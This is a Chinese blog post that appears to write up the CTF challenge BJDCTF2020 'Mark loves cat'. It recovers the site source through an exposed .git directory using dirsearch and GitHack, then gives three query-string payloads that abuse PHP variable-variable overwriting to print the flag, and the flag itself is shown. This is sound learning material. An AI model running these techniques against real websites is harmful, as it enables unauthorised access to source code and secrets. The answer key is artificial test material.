BUUCTF [BJDCTF2020]Mark loves cat

发布时间 2023-08-31 17:44:01作者: Amsterdamnit

一进入环境,毫无头绪。
使用dirsearch扫出了/.git/,可以猜出本关一定与git源码泄露有关。
python .\dirsearch.py -e * -u http://7cb1db04-980a-4af8-856b-7f6cd5ea231d.node4.buuoj.cn:81/ --timeout=2 -x 400,403,404,429,500,503

使用GitHack尝试从网站上扒出源码
python .\GitHack.py http://7cb1db04-980a-4af8-856b-7f6cd5ea231d.node4.buuoj.cn:81/.git

其中在flag.php找到:

<?php

$flag = file_get_contents('/flag');

其中在index.php末尾找到:

<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    # 存在(键值为flag的键值对)的值绝对等于这次比较的键值 且 这次键值不等于flag
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

# 不存在键值为flag的键值对(get型) 且 不存在键值为flag的键值对(post型)
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

# 存在(flag,flag)(post型) 或 存在(flag,flag)(get型)
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

echo "the flag is: ".$flag;

exit也是一种输出,我们需要执行到exit将flag值输出。

解法1:exit($handsome);

首先输出 $handsome,就要将 $handsome 的值转为 $flag ,即handsome=flag
并且为了满足条件,需要有键值为flag的键值对,即flag=xxx,改变flag的值需要改回来,所以flag=a&a=flag
(flag=a不会将需要的flag值先给覆盖了吗?)
payload1:?handsome=flag&flag=a&a=flag
payload2:?handsome=flag&flag=handsome
flag在页面源码底部flag{e6908c89-a3ba-4212-b43b-2ceca40f2367}

解法2:exit($yds);

GET,POST 都不输入flag键就可以,只需要将exit中的 $yds 改为我们需要的 $flag
payload:?yds=flag

解法3:exit($is);

同样需要将exit中的 $is 改为我们需要的 $flag,同时满足if条件存在get型的(flag,flag)
payload:?is=flag&flag=flag




参考链接:
https://www.cnblogs.com/Nestar/p/15922456.html